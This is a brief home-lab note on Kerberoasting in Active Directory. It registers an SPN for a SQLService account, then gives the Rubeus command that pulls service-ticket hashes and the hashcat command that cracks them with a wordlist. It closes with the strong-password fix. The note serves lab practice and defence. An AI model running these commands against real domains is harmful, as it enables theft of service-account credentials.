Kerberoasting
Set up general ad lab.
Add in a new user called SQLService
Open a cmd on the DC and use:
setspn -a <DC-NAME>/SQLService.<domain>.local:60111 <DOMAIN>\SQLService
You can then verify that the spn can be found:
setspn -T <DOMAIN>.local -Q */*
Rubeus is simplest way:
rubeus.exe kerberoast /simple /nowrap
Hashcat to crack the hash:
hashcat kerb.txt -m 13100 /usr/share/wordlists/rockyou.txt --force
Could remove SPN from account but would break things.
Real fix is to use a strong password for the service account. This could be changed by:
net user SQLService NewPasswordThatShouldBeStrong
Last modified 3yr ago